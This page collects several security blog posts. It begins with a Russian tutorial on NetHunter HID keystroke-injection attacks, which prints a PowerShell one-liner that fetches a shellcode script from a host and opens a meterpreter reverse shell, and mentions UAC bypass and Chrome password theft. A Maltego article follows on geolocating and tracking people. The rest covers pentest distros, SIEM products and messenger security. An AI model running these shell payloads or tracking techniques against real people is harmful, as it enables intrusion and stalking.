Nethunter имеет несколько встроенных инструментов для проведения HID-атак (human interface device). Для проведения данных атак необходим непосредственный доступ к атакуемой машине и возможность выполнения на ней некоторых действий (система должна быть разблокирована). HID-атаки воспринимаются системой, как легитимное поведение пользователя. Антивирусное ПО, как правило, на саму атаку не срабатывает, но может сработать на используемую нагрузку. Например, при загрузке вредоносного файла или при загрузке некодированного файла для проброса сессии meterpreter. Таким образом можно сократить время рутинных операций во время атаки, что крайне полезно в условиях ограниченного времени доступа к атакуемой машине.

Про язык ввода

Поскольку данные атаки имитируют нажатие клавиатуры, то они прекрасно работают там, где установлен только один язык ввода. И это, естественно, английский. Атакующему необходимо предусмотреть смену раскладки: прописать в скрипте (возможно для Ducky Script) или переводить язык вручную (для HID Attacks из приложения Nethunter). Иначе при запросе выполнения команды можно получить что-то типа этого:

Рис.3. Результат выполнения команды без предварительной смены раскладки.

Также, возможно, понадобится несколько раз менять раскладку. Например: первый раз на рабочем столе, второй раз при запуске командной строки. Все это зависит от настроек на атакуемой машине.

Ducky Script

Ducky Script скриптовый язык, с помощью которого можно составить сценарий действий, выполняемых от имени пользователя. Подключенное устройство с программой-интерпретатором посылает сигналы на компьютер, имитируя ввод с клавиатуры и мыши. Ducky Script используется для устройства USB Rubber Ducky (сейчас на Amazon стоит порядка 120$).

Рис.4. Комплект устройства USB Rubber Ducky.

В Nethunter есть встроенный интерпретатор (приложение NetHunter вкладка DuckHunter HID), но заставить его корректно работать у меня не удалось.

Рис.5. Nethunter DuckHunter HID.

Зато в NetHunter Store есть приложение Rucky (v 1.9), которое также является интерпретатором Duck Script. Приложение прекрасно отправляет ввод с клавиатуры и нажатия клавиш, но указатель мыши у меня так и не начал двигаться.

Открываем приложение Rucky, пишем скрипт на запуск Chrome со ссылкой и запускаем.

Рис.6. Rucky. Скрипт запуска Chrome.

Как выполнение Ducky Script выглядит на машине.

Вот здесь собраны примеры скриптов. Быстро установить на обои хот-доги или украсть пароли из Chrome и отправить на email Возможности есть на все, на что фантазии хватит!

HID Attacks

В приложении Nethunter есть вкладка HID Attacks. Атаки из этой группы работают по принципу устройство имитирует ввод с клавиатуры, но ориентированы они на определенные паттерны. Плюсом является то, что есть опция UAC Bypass (для Win7, Win8, Win10), при использовании которой командная строка запускается от администратора. Соответственно, вы должны быть залогинены, как минимум под локальным администратором, чтобы не пришлось вводить данные учетной записи администратора.

Рис.7. UAC bypass.

Что сделать, чтобы заработали атаки

Для того, чтобы атаки заработали, необходимо подключить устройство как MIDI.

Рис.8. Подключение устройства как MIDI.

Рассмотрим паттерны в HID Attacks.

Powersploit

Данный паттерн ориентирован на запуск Powershell скрипта с удаленной машины, который должен пробросить meterpreter shell с атакуемой машины.

Рис. 9. Nethunter-HID Attacks-PowerSploit.

Рис. 10. Результат выполнения в командной строке.

iex (New-Object
Net.WebClient).DownloadString("http://192.168.1.45:80/Invoke-Shellcode.ps1");
Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost
192.168.1.45 -Lport 8080 -Force

Результат декодирования BASE64 строки.

Как видно из скриншота, атака у меня не удалась из-за проблем выполнения скрипта. По указанным параметрам я определил, что скорее всего должен использоваться Invoke-Shellcode.ps1 из репозитория EmpireProject. Cкрипт Invoke-Shellcode.ps1 или репозитория PowerSploit обновлен и в нем нет параметра Payload. Использование старой подходящей версии скрипта представлено на рис. 10.

В закодированной BASE64 строке представлены все наши параметры из окна приложения. Если что-то будете менять, не забудьте про кнопку UPDATE внизу, это важно.

Таким образом, ждем, пока разработчики обновят эту часть приложения Nethunter.

Windows CMD

Тут все просто. В данном паттерне запускается командная строка и последовательно выполняются команды, указанные в параметре скрипта. Также можно запускать командную строку от администратора, можно сохранять и загружать сохраненные скрипты. И не забываем про кнопочку UPDATE.

Рис. 11. Nethunter HID Attacks Windows CMD.

Рис. 12. Результат выполнения в командной строке.

Примечание

Первая строка должна начинаться с символа *, иначе пропадает первая буква команды. Например, вместо ipconfig будет введено pconfig. Вот просто потому что:)

Powershell HTTP Payload

Данный паттерн должен загружать powershell нагрузку и выполнять ее. Но он не заработал у меня вообще: при запуске атаки никакие действия не происходили, а логи веб-сервера, на котором был скрипт с нагрузкой, остались пусты.

Рис.13. Nethunter HID Attacks Powershell HTTP Payload.

И небольшой бонус для тех, кто дочитал :)

KeX manager

Полноценный десктопный интерфейс Kali Linux, да-да! Nethunter имеет встроенный VNC-сервер (Virtual Network Computing система удалённого доступа к рабочему столу компьютера). Настраивается все очень просто. В приложени Nethunter во вкладке KeX Manager нажимаем на кнопку SETUP LOCAL SERVER и устанавливаем пароль для нашего сервера. Теперь нажимаем START SERVER, статус сервера изменился на RUNNING. Нажимаем на OPEN KEX CLIENT, вводим заданный ранее пароль, и у нас запускается десктопный интерфейс.

Рис.14. Настройка и подключение к VNC-серверу.

Рис.15. Результат подключения к VNC-серверу.

Если мы хотим подключиться с другого устройства, необходимо, чтобы галочка Localhost Only была снята и клиент мог достучаться до сервера. Перезапускаем сервер. И с помощью VNC-клиента на другом устройстве подключаемся, указав IP устройства Nethunter и порт 5901 (например, 192.168.1.3:5901). Потом вводим ранее установленный пароль, и вот мы подключились!

Рис.16. Результат подключения к VNC-серверу с другого устройства.

Примечание

Cудя по информации с этой страницы для безопасного (шифрованного) соединения лучше использовать VeNCrypt клиент.

На этом пока что все. Помни, все только в образовательных целях :) До скорого!

Подробнее..

Категории: Информационная безопасность , Безопасность , Тестирование мобильных приложений , Security , Блог компании t.hunter , Cybersecurity , Mobile apps , Tutorial , Kali linux , T.hunter , Kali net hunter , Android apps

Maltego Часть 6. Дорогой, где ты был? Бегал! (с)

21.08.2020 20:17:07 |

Автор: admin

Здравствуйте, дорогие друзья. Сегодня целью моей статьи будет разбор функционала связки Maltego + Social Links на предмет поиска по геолокации. Как это работает и что мы сможем применять в OSINT? Давайте разбираться.

Геоположение играет не последнюю роль в OSINT. Не зря на Hack The Box один из новых OSINT челленджей (Kryptic Ransomware) завязан именно на поиске точных координат дома цели. Челлендж очень интересный, не поленитесь пройти.

Перед прочтением рекомендую ознакомиться с предыдущими статьями из цикла о Maltego:

Часть 1 Что такое Maltego и зачем оно вообще нужно

Часть 2 Интерфейс и базовое устройство

Часть 3 Maltego и OSINT в Facebook

Часть 4 Maltego и OSINT в ВК, Instagram, LinkedIN и других соцсетях

Часть 5 Применение системы распознавания лиц для OSINT в Maltego

Там много полезной информации.

Итак, преступим. Первый метод, который мне известен это использование родных Entities от Maltego: Circular Area и GPS Coordinate.

В параметрах данных Entities нам нужно указать координаты, которые можно нагло взять из Google Maps, и радиус охвата поиска, если мы используем Circular Area.

Для Entitie: GPS Coordinate нам доступно:

[Censys] Search in IPv4 сделать запрос к базе Censys и найти все IP адреса по данным координатам.
[Facebook] Photos by Geo найти фото по указанному геоположению.
[Facebook] Search for Places найти места по указанному геоположению.
[Facebook] Videos by Geo найти все видео по указанному геоположению.
[Instagram] Media by Geo найти все медиафайлы по указанному геоположению.
[Snapchat] Snap by Geo найти все медиафайлы по указанному геоположению.
[Twitter] Search Tweets by Geo найти все твиты по указанному геоположению.
[Vkontakte] Photos by Geo Popular найти популярные фото по указанному геоположению.
[Vkontakte] Photos by Geo Recent найти недавние фото по указанному геоположению.
[Vkontakte] Stories by Geo найти все сторис по указанному геоположению.
[YouTube] Videos by Geo найти все видео по указанному геоположению.
Также имеется возможность преобразовать Entitie GPS Coordinate в Circular Area.

Для Entitie: Circular Area нам доступно все тоже самое, за исключением работы с API Censys.

Для теста я выбрал координаты центра Дворцовой площади. Почему? Как обычно просто так.

Интереснее всего узнать, как работает Transform [Facebook] Search for Places. По поводу фото, видео и медиа, думаю и так все понятно: есть геометка в соцсети есть попадание в выдачу. Метки нет, нет в выдаче.

Конвертируем GPS Coordinate в Circular Area, выставляем радиус 1000 метров и запускаем трансформ. Получаем 94 места из поисковой выдачи Facebook.

Все достаточно релевантно, за некоторыми исключениями. Среди достопримечательностей, клубов, баров и ресторанов записалось 2 непонятных элемента.

Парень, который рассказывает, что можно купить яхту за 1000 евро и аккаунт, который называется Санкт-Петербург с фото какого-то рандомного чувака. Оба почему-то решили, что они компании и зарегистрировались на Facebook как коммерческий аккаунт с выставлением адреса юрлица в районе Дворцовой площади.

В остальном все достаточно верно. Все аккаунты имеют выставленный адрес в радиусе 1000 метров от Дворцовой.

Так что эти двое больше недосмотр Facebook относительно достоверности коммерческих аккаунтов, чем ошибка Maltego. Геоданные у них в аккаунтах выставлены в пределах 1000 метров от Дворцовой.

Теперь опробуем поиск фото. Координаты центр дворцовой по версии Google Maps (59.93901,30.315706), выдачу я специально ограничил на 50 фото, поскольку иначе нас просто захлестнет потоком всего найденного.

И тут уже начала вырисовываться некая модель, по которой Facebook возвращает результат. Изначально соцсеть находит ближайшее к точке место интереса и возвращает все фото, которые имеют соответствующую геометку. Так как мы указали центр Дворцовой площади, то и ближайшая метка по мнению соцсети это Palace Square.

В итоге мы получаем в выдачу все фото, которые имеют данную метку.

Ну и в подтверждения гипотезы возьмем координаты ресторана COCOCO (59.934991, 30.308709) и попробуем тот же трюк с поиском фото.

И получаем фото с HI SO TERRACE (это не то, что мы искали, если вы не поняли).

А нет, СТОП! Все верно. Данное заведение находится в одном доме с рестораном COCOCO. Видимо, рука дрогнула на пол градуса, когда метку на Google Maps ставил, чтобы координаты поймать).

А как дела со ВКонтакте, спросите вы? А вот с нашим любимым ВК все не так хорошо. Разброс просто дикий. Вот, например, запрос по предыдущим координатам, а в выдаче фото, как и на расстоянии 200-300 метров от точки, так и вообще с геометкой Петергоф!

Что касается трансформа [YouTube] Videos by Geo то тут дела чуточку лучше. Хотя и не сильно. В выдачу попало как видео с геометками конкретных мест в Санкт-Петербурге, в том числе и с геометкой ресторана COCOCO, так и много видео с геометкой РОССИЯ.

Еще к вариантам поиска по местоположению можно отнести Entitie: Search Person. Эта Entitie сделана для поиска человека в Facebook и имеет несколько полей в свойствах. Указав эти поля, мы задаем критерии поиска.

Представим, что нами известно ФИО и город. Задаем указанные значения и запускаем нужный нам Transform. На выбор доступно:

[Facebook] Search Users поиск пользователей;
[Facebook] Search Users (Exact) точный поиск с совпадением всех вводных данных;
[Facebook] Search Users (Up to 60 mins) отложенный поиск пользователей;
[Facebook] Search Users (Up to 60 mins) (Exact) точный отложенный поиск с совпадением всех вводных данных.

Ну и тут все ОК. Моя страница на Facebook есть в выдаче, как и предполагалось. Метод, проверенный и на Facebook работает без осечек. Ну если только не считать кучу однофамильцев, которую придется разгребать в поисках искомого аккаунта.

Отложенный поиск в данном случае нужен, чтобы обойти особенность Maltego по наличию окна ответа в 2 минуты. Применяется, если требуется выполнить поиск по большому массиву информации. Например, найти все аккаунты с указанным городом и выгрузить их на граф.

Теперь к практическим выводам.

Как самостоятельный элемент поиска данный функционал использоваться не может. Как дополнительный канал проверки информации или, например, дополнительный вектор расследования функционал может быть успешно применен.

Лично я применял эту методику поиска 2 раза, когда нужно было подтвердить по соцсетям фактическое прибывание человека где-то.

В рамках одного кейса были выгружены фото по координатам через сущность Circular Area, а потом были выгружены фото из соцсетей жены объекта кейса. Maltego, как и полагается, построил связи между совпавшими фото и, как итог, мы получили нужный результат.

Не пропустите следующие статьи цикла. Там мы поговорим о поиске информации на формах и магазинах в Dark Net.

А еще больше материалов и новостей из мира ИБ можно почитать в нашем телеграм-канале.

Подробнее..

Категории: Информационная безопасность , Социальные сети и сообщества , Безопасность , Open source , Security , Facebook , Вконтакте , Социальные сети , Блог компании t.hunter , Cybersecurity , Social media , Google , Osint , Информационные технологии

Топ-10 лучших дистрибутивов Linux для этичного взлома и пентеста в 2020 году

26.10.2020 16:12:51 |

Автор: admin

Топ-10 лучших дистрибутивов Linux для этичного взлома и пентеста в 2020 году
В зависимости от задач этичный хакинг требует использования большого арсенала хакерских инструментов. Самостоятельный поиск длительный и трудоемкий процесс, который по душе не каждому. Благо, что существуют уже готовые дистрибутивы со всем необходимым инструментарием для:

Этичного взлома.
Пентестов.
Других операций в сфере кибербезопасности.

ТОП-10 лучших дистрибутивов Linux для белого хакера

Kali Linux

Kali Linux самая популярная ОС для этичного взлома и пентестов. В качестве основы использует дистрибутив Debian. Первая версия вышла в феврале 2006 года на замену семейству BackTrack Linux.

В Kali Linux предустановлено около 100 хакерских инструментов для различных операций, таких как:
Тестирование на проникновение.
Анализ вредоносного ПО.
Криминалистический анализ.
Сбор информации.
Сетевое сканирование.
Прочее.

Вдобавок у Kali один из самых больших репозиториев, где можно найти инструменты для любой задачи.
Скачать Kali Linux.

Parrot Security OS

Parrot Security OS одна из лучших ОС для взлома, пентестов и криминалистического анализа. Предназначенная для этических хакеров и профессионалов в области кибербезопасности.

Операционная система Parrot вносит такой же вклад в сообщество безопасности, как и Kali Linux, с множеством инструментов для взлома и отличным графическим интерфейсом.

Сопоставимый по размерам с Kali репозиторий, в котором собрано множество замечательных хакерских инструментов для новичков и экспертов.
Разработано FrozenBox. Первый выпуск состоялся в июне 2013 года. Как и Kali основан на Debian, а в качестве графической среды использует MATE.

Скачать Parrot Security OS

BackBox Linux

Backbox Linux 3-я ОС в нашем списке. В качестве основы использует более дружелюбный для новичков Ubuntu LTS.
В качестве среды рабочего стола используется XFCE.
BlackBox хороший выбор для пентеста, так как содержит самые профессиональные и популярные инструменты для этой сферы, такие как:
MSF.
NMAP.
BurpSuite.
Armitage.
SQLMap.
Другие.

Разработано BackBox Team. Первый выпуск состоялся 9 сентября 2010 года.

Скачать BackBox

BlackArch Linux

Black Arch Linux на основе Arch Linux. Легкая и быстрая ОС для этичного взлома и тестов на проникновение. Дистрибутив подходит для элиты белых хакеров и всех тех, кто может работать с Linux на профессиональном уровне.
Black Arch содержит около 2500 инструментов для взлома, которые охватывают практически все моменты в сфере кибербезопасности.
В качестве среды рабочего стола используются Fluxbox и OpenBox.
Огромный репозиторий с более чем 1 500 инструментов. Первый релиз состоялся в 2013 году.

Скачать BlackArch

Pentoo

Pentoo ОС для этического взлома на Gentoo с неплохой коллекцией хакерских инструментов. Первый выпуск был в июне 2005 года. На данный момент дистрибутив давно не обновлялся и его можно назвать устаревшим.

Samurai Web Testing Framework (Samurai-WTF):

Samurai WTF узкоспециализированная ОС для теста веб-приложений. Содержит только инструменты WebApp Pentest:
Burpsuite
SQLMap
И другие

В качестве основы использует Ubuntu. Первый релиз состоялся в 2008 году.

Скачать Samurai WTF

Network Security Toolkit (NST)

Network Security Toolkit профессиональная ОС для работы в сфере сетевой безопасности. Основана на Fedora.
Содержит профессиональные инструменты в области Network PenTest.
Первый выпуск был в 2003 году.
Скачать NST

WifiSlax

Wifislax ОС для этичного взлома и работы с Wi-Fi сетями. Основана на Ubuntu.
В наличии много инструментов для:
Этичного взлома
Проникновения
Тестирования Wi-fi

Обычно используется в корпоративных сетях, чтобы обеспечить к ней безопасный доступ сотрудников. Дистрибутив разработан итальянской командой безопасности.
Скачать Wifislax

Bugtraq

Bugtraq дистрибутив Linux с богатым инструментарием для белого хакинга, разработан для:
Пентестов
Обратной разработки
Анализа вредоносного ПО

В качестве основы используется Debian. Первый выпуск состоялся в 2012 году.
Скачать Bugtraq

Cyborg Hawk

Cyborg Hawk еще один замечательный дистрибутив для пентестов на основе Ubuntu. Содержит более 700 хакерских инструментов. Разработано командой Cyborg Hawk из Австралии.
Скачать Cyborg Hawk

Выбор лучшей ОС для этического взлома и тестов на проникновение это верный шаг к изучению концепций белого хакинга и пентестов, который позволяет улучшить свои навыки и защитить активы компании от киберпреступников.

Также не стоит забывать, что профессия белого хакера становится все более популярной, а главное прибыльной. Сегодня топовый white hat зарабатывает в несколько раз больше среднего программиста:
В 2,7 раза в США
В Индии в 16 раз
В 15,6 раз в Аргентине
В Латвии в 5,2 раза

Согласно данным The 2020 Hacker Report только на вознаграждениях белые хакеры заработали более 40 миллионов, а их совокупных доход составил свыше 80 миллионов долларов за 2019 год.

Любой из дистрибутивов Linux для этичного взлома можно установить на серверах AlexHost всего от 0,99 в месяц. Круглосуточная поддержка, высокая надежность и полная анонимность позволят вам эффективно использовать white hat инструменты как в учебных, так и коммерческих целях.

Подробнее..

Категории: Информационная безопасность , Linux , Настройка linux , Разработка под linux , Cybersecurity , Habr , Kali linux , Блог компании alexhost , Alexhost , Cybercrime , Penetration testing , Hacking

Recovery mode SIEM Solutions Overview (Security Information and Event Management)

03.11.2020 18:06:31 |

Автор: admin

Modern corporate IT infrastructure consists of many systems and components. And monitoring their work individually can be quite difficult the larger the enterprise is, the more burdensome these tasks are. But there are the tools, which collect reports on the work of the entire corporate infrastructure SIEM (Security Information and Event Management) system in one place. Read the best of such products according to Gartner experts in our review, and learn about the main features from our comparison table.

In a few words, SIEM technology gives administrators an overview of what's happening on the network. Such systems in real time provide an analysis of security events, as well as the activity of devices and users, which helps to respond to them before significant damage is done. SIEM programs collect information from servers, domain controllers, firewalls and many other network devices and provide it in the form of convenient reports. This data is not necessarily associated with security. With their help, for example, it is possible to understand how the network infrastructure functions and how to develop a plan for its optimization. But the main thing, of course, is the detection of potential gaps, as well as the localization and elimination of existing threats. Such data is provided through the collection and combination of network device log data. The identification and classification of events occurs after collecting information (this procedure occurs automatically at specified intervals). Then (again, in accordance with the specified settings) the notifications are sent that certain actions of the equipment, programs or users may be potential security problems.

What opportunities are opening up? SIEM helps to solve a number of problems. Among them: timely detection of targeted attacks and unintentional violations of information security by users, assessing the security of critical systems and resources, conducting incident investigations, and much more. At the same time, SIEM platforms have a number of limitations. For example, they do not know how to classify data, they often work poorly with e-mail, they have blind spots in relation to their own events. And, of course, they cannot fully cover the information security issues at the enterprise. But along with this, they are an important part of the enterprise security system, although not a critical one. Moreover, the development of SIEM platforms does not stand still. For example, some modern products have analytical functions, that is, they not only issue the reports and indicate the potential problems, but also know how to analyze events themselves and make decisions on informing about certain events. In any case, when choosing a specific product, you should focus on many parameters, among which we highlight the centralized collection, processing and storage of information, notification of incidents and data analysis (correlation), as well as the coverage of the corporate network. And, of course, if possible, before buying, it is worth launching a trial/demo version and see how it is suitable for the company.

IBM QRadar Security Intelligence

The SIEM platform from IBM is one of the most advanced on the market: even in the Gartner leaders quadrant it is ahead of the competitors and has been successively there for 10 years. The product consists of several systems integrated among themselves, which together provide the maximum coverage of events occurring in the network, and many functions work directly out of the box. The tool can collect data from a variety of sources, for example, operating systems, security devices, databases, applications and many others.

QRadar Security Intelligence can sort events by priority and highlight those that pose the greatest security risk. This is due to the functions of analyzing the anomalous behavior of objects (users, equipment, services and processes in the corporate network). In particular, the actions related to accessing the suspicious IP addresses or requests from them are determined. The detailed reports are provided for all suspicious actions, which, for example, makes it possible to detect suspicious actions out of hours. The similar approach in combination with users monitoring functions and a visual representation of the network at the application level allows you to deal with insider threats. In addition, with ordinary cyberattacks, information comes in very quickly and helps to prevent them before they reach their goals and cause significant damage.

Risk-based discovery and prioritization using advanced analysis and correlation between assets, users, network activity, vulnerabilities, threat analysis, etc. are the main features of IBM QRadar Security Intelligence. IBM QRadar can chain events together, creating a separate process for each incident. Due to the fact that information is collected and displayed on the screen in one place, the administrator can see all the associated suspicious actions, detected by the system. And new related events are added to a single chain, so analysts should not switch between multiple alerts. And for deeper investigations, the special tool IBM QRadar Incident Forensics can restore all network packets, associated with the incident, and recreate the attacker's actions step-by-step.

Splunk Enterprise Security

This is one of the industry leading platforms, a distinctive feature of which is a wide list of sources of information with which it works. Splunk Enterprise Security can collect event logs from traditional network components (servers, security devices, gateways, databases, etc.), mobile devices (smartphones, laptops, tablets), web services and distributed sources. Information collected: data on users actions, logs, diagnostic results, etc. This allows for convenient search and analysis in automatic and manual mode. The solution has many customizable notifications, which, based on the information collected, warn of existing threats and report the potential problems in advance.

The product consists of several modules, which are responsible for conducting investigations, logical circuits of protected resources and integration with many external services. This approach makes it possible to conduct a detailed analysis of the variety of parameters and establish a relationship between events, which, at first glance, do not correlate with each other. Splunk Enterprise Security helps to compare data by time, location, created requests, connection to a variety of systems and other parameters.

The tool also knows how to work with large data arrays and is a full-fledged Big Data platform. Large arrays of data can be processed both in real time and in historical search mode, and, as mentioned above, a huge number of data sources are supported. The Splunk Enterprise Security can index hundreds of TB of data per day, so it can be used on enterprise networks of very large sizes. The special MapReduce tool allows you to quickly scale the system horizontally and evenly distribute the load, so that system performance always remains at the acceptable level. At the same time, configurations for clustering and disaster recovery are available to users.

McAfee Enterprise Security Manager

The McAfee solution comes in both physical and virtual devices, as well as software. It consists of several modules, which can be used both together and separately. The Enterprise Security Manager provides the continuous monitoring of corporate IT infrastructure, collects information about threats and risks, helps to prioritize threats and quickly conduct investigations. For all incoming information, the solution calculates the basic level of activity and pre-creates notifications, which will be received by the administrator, if the scope of this activity is violated. Also, the tool can work with context, which significantly expands the analysis and detection of threats, as well as reduces the number of false signals.

The McAfee ESM integrates well with third-party products without an API, making the product compatible with many other popular security solutions. It also has support for the McAfee Global Threat Intelligence platform, which extends the traditional SIEM functionality. Thanks to it, ESM receives the constantly updated threat information from around the world. In practice, this makes it possible, for example, to detect events, which are associated with suspicious IP addresses.

The developer offers his clients a set of McAfee Connect tools to improve the system performance. These tools contain the ready-made configurations, which help to perform the complex scenarios for using the SIEM system. For example, a package of materials on analyzing the users behavior helps to find hidden threats better and faster, makes security operations more accurate and significantly reduces the time of investigation of incidents. The package for Windows helps to monitor the services of this OS to assess their proper use and detection of threats. In total, more than 50 packages are available for different scenarios, products and standards.

AlienVault Unified Security Platform

AlienVault Company has recently teamed up with AT&T Business under the AT&T Security brand, but its main product is still sold under the old name. This tool, like most other platforms from the review, has broader functionality than the traditional SIEM. Specifically, AlienVault USM has various modules, responsible for asset control, full packet capture, etc. The platform also knows how to test the network for vulnerabilities, and this can be either a one-time check or continuous monitoring. In the latter case, the notifications of the new vulnerability arrive almost simultaneously with their appearance.

Among other features of the platform: an infrastructure vulnerability assessment, which shows how secure the network is and if its configuration meets security standards. The platform is also able to detect attacks on the network and timely notify about them. In this case, the administrators receive detailed information about where the invasion is coming from, what parts of the network have been attacked and what methods the attackers are using, as well as what needs to be done first for reflection. In addition, the system is able to detect the insider attacks from within the network and notify about them.

With the proprietary AlienApps solution, the USM platform integrates with many third-party security solutions and effectively complements them. These tools also expand the capabilities of AlienVault USM in the field of security settings and automated response to threats. Therefore, almost all information about the security status of the corporate network becomes available directly through the platform interface. These tools also make it possible to automate and organize response when threats are detected, which greatly simplifies and accelerates their detection, as well as incident response. For example, if a connection with a phishing site is detected, the administrator can send data to the third-party DNS protection service to automatically block this address this way, it will become inaccessible for visiting from computers within the organization.

Micro Focus ArcSight Enterprise Security Manager

Micro Focus's SIEM platform, which HPE developed until 2017, is a comprehensive tool for detecting, analyzing and managing workflows in real time. The tool provides massive opportunities to collect information about the status of the network and the processes occurring in it, as well as a large set of ready-made sets of security rules. Many features in ArcSight Enterprise Security Manager work automatically, including, for example, the identifying threats and prioritizing. For investigations, this tool can integrate with another proprietary solution ArcSight Investigate. With it, you can detect unknown threats and perform a quick intelligent search, as well as visualize data.

The platform can process information from the most diverse types of devices according to the developers, there are more than 500 of them. Its mechanisms support all common event formats. The information collected from network sources is converted into a universal format for use on the platform. This approach helps quickly to identify situations, which require investigation or immediate action and helps administrators to focus on the most pressing high-risk threats.

For companies with extensive networks of offices and divisions, ArcSight ESM proposes to use the SecOps work model when remote security groups are combined and can exchange reporting, processes, tools and information in real time. Therefore, for all departments and offices, they can apply the centralized sets of settings, policies and rules, use the unified matrix of roles and access rights. This approach helps to quickly respond to threats in any part of the company.

RSA NetWitness Platform

The platform from RSA Company (one of Dell divisions) is a set of modules, which provide the threat visibility based on data from various network sources: endpoints, NetFlow, security devices, information from transmitted packets, etc. For this, a combination of several physical and/or virtual devices, which process information in real time and issue warnings based on it, and also store data for future investigations. Moreover, the developer offers architecture for both small companies and large distributed networks.

The NetWitness Platform can detect insider threats and works with contextual information about the specific infrastructure, which provides prioritizing alerts and optimizing work in accordance with the specifics of the organization. The platform is also able to correlate information about individual incidents, which helps to determine the full extent of attacks on the network and configure it in such a way as to minimize such risks in the future.

The developers pay much attention to working with endpoints. Thus, RSA NetWitness Platform has a separate module for this, which ensures their visibility both at the user's level and at the kernel-level. The tool can detect the abnormal activity, block the suspicious processes and assess the degree of vulnerability of a particular device. And the collected data is taken into account in the operation of the entire system and also affect the overall assessment of network security.

FireEye Helix Security Platform

The FireEyes cloud platform allows organizations to monitor any incidents, from alerting to remedying the situation. It combines many branded tools and can integrate with third-party products. The Helix Security Platform makes extensive use of users behavior analytics, which recognizes the insider threats and attacks, not related to malware.

In order to counter threats, the tool not only uses the alerts from administrators, but also applies the predefined rule sets, of which there are about 400. This minimizes the number of false positives and frees administrators from constant checks of threat messages. In addition, the system offers the ability to conduct investigations and search for threats, behavioral analysis, support for multiple resources for obtaining information, and convenient management of the entire security complex.

The tool does a good job of detecting advanced threats. The Helix Security Platform arsenal has the ability to integrate more than 300 security tools from both FireEye and third-party manufacturers. By analyzing the context of other events, these tools provide a high level of detection of hidden and disguised attacks.

Rapid7 insightIDR

Rapid7 Company offers its clients a cloud-based SIEM platform, created for behavior analysis. The system conducts the in-depth analysis of logs and journals, and also sets up special traps to detect illegal intrusions into the network. The InsightIDR tools constantly monitor the users activities and correlate them with online events. This not only helps to identify insiders, but also prevents the intentional security breaches.

The Rapid7 insightIDR constantly monitors endpoints. This makes it possible to see the unusual processes, atypical users behavior, strange tasks, etc. If such actions are detected, the system helps to check whether they are repeated on other computers or remain a local problem. And in case of problems and investigation of incidents, a visual tool is used. It conveniently organizes the accumulated data over time and greatly simplifies the investigation.

To better counter threats, the developer's experts can independently assess the degree of security of the corporate environment, from equipment to current processes and policies. Thanks to this, it is possible to build an optimal network protection scheme from scratch using Rapid7 insightIDR or to improve the existing work schemes.

Fortinet FortiSIEM

Fortinet's comprehensive and scalable solution is a part of the Fortinet Security Fabric platform. The solution comes in the form of physical devices, but can also be used on the basis of a cloud infrastructure or as a virtual device. The tool provides a wide coverage of information sources more than 400 devices from other manufacturers are supported. These include the endpoints, IoT devices, applications, security features, and more.

The platform is able to collect and process information from endpoints, including file integrity, registry changes, installed programs and other suspicious events. The FortiSIEM has in-depth analysis tools, including real-time event search as well as past events, attribute and keyword searches, dynamically changing tracking lists, which are used to detect critical violations and much more.

The tool provides administrators with full-featured, customizable dashboards, which greatly enhance the system usability. They have the ability to play slide shows to demonstrate the performance of systems, there is the possibility of generating a variety of reports and analytics, and color marking is used to highlight critical events.

Instead of an afterword

The market has a very large number of SIEM solutions, most of which are very functional. Often their capabilities go beyond the standard definition of SIEM and offer сlients a wide variety of network management tools. Moreover, many of them work directly out of the box, requiring minimal intervention during installation and initial configuration. But there is an obstacle: they can vary in dozens of small parameters, talking about which within a single review is not possible. Therefore, in each case, it is necessary to choose a solution not only relying on the basic needs of the enterprise, but also to take into account the small details and the future growth of the organization. We have drawn your attention to the main points, and testing of trial versions of products will help to carefully understand the details and nuances. Fortunately, almost all vendors provide this opportunity.

Подробнее..

Категории: Информационная безопасность , Софт , Cybersecurity , Siem , Блог компании roi4cio , Siem solutions

Telegram, Signal, Wickr Me выбираем самый безопасный мессенджер и разбираемся, существует ли он

12.11.2020 10:07:10 |

Автор: admin

Нас часто спрашивают, насколько хорошо те или иные популярные мессенджеры хранят тайны своих пользователей переписку и пересылаемые файлы, существуют ли риски взлома самих сервисов, да и вообще, есть ли он идеальный безопасный мессенджер? Команда департамента аудита и консалтинга Group-IB провела сравнительный анализ защищенности трех основных мессенджеров, которых чаще других называют в списке наиболее защищенных. В этой обзорной статье мы представим результаты независимого исследования и дадим свой ответ, какой мессенджер безопаснее.

О каких мессенджерах пойдет речь?

Сразу оговоримся, что отбор мессенджеров для нашего обзора производился на основе анализа существующих открытых исследований защищенности мессенджеров, их популярности в России и их позиционирования на рынке.

По итогам оценки и изучения мнений экспертов отрасли наша команда выбрала три мессенджера, ориентированные на защиту данных пользователей:

Signal некоммерческий проект Open Whisper Systems
Telegram некоммерческий проект Telegram FZ-LLC
Wickr Me коммерческий проект Wickr Inc с бесплатной версией

Для исследования мессенджеров использовали последние версии, доступные на момент исследования в App Store и Google Play.

Мессенджеры устанавливались на смартфоны с iOS версии 13.3.1 и Android версии 7.1.2, при этом на смартфонах заранее были получены права суперпользователя (jailbreak для iOS и root-доступ для Android).

Как сравнивали мессенджеры?

Теперь вкратце расскажем о методике проведенного анализа защищенности. На рисунке ниже отображена схема формирования оценки по каждому мессенджеру.

Для проведения анализа мы выбрали три основные категории:

Открытость сообществу
Архитектура
Основная функциональность

В категории Открытость сообществу оценивались:

наличие отчетов внешних аудиторов (в том числе наличие bug bounty-программ)
доступность исходного кода мессенджера для исследователей (клиентская и серверная часть, протокол шифрования)
наличие доступной и подробной документации для пользователей мессенджера

В этой категории не проводятся технические проверки, а полученный результат основан на оценке специалистов-участников проекта. Максимальная возможная оценка для мессенджера в этой категории 12 баллов.

В категориях Архитектура и Основная функциональность оценка складывалась на основе результатов технических (инструментальных) проверок, которые проводились по стандарту OWASP Mobile Security Testing Guide.

В категории Архитектура после проведения инструментальных проверок мы получили оценку:

защищенности данных мессенджера (например, конфигурационные файлы, необходимые для работы мессенджера)
защищенности каналов связи (например, реализация передачи данных на сервер мессенджера)
защищенности резервных копий (например, файлы приложения, создаваемые как мессенджером, так и операционной системой смартфона)
защищенности данных профиля пользователя (например, логин пользователя, местоположение)

При наличии недостатков в какой-либо из проверок максимальный балл категории снижался, а максимальная возможная оценка 200 баллов.

В категории Основная функциональность оценивалась корректность работы следующих функций мессенджеров:

обмен сообщениями (включая файлы различных форматов)
совершение видео- и аудиовызовов

Максимальная оценка в этой категории 120 баллов.

Таким образом, максимальная итоговая оценка мессенджера может составить 332 балла и складывается в следующем отношении:

Если вам интересно узнать больше полную информацию о методологии проведенного анализа защищенности можно найти здесь.

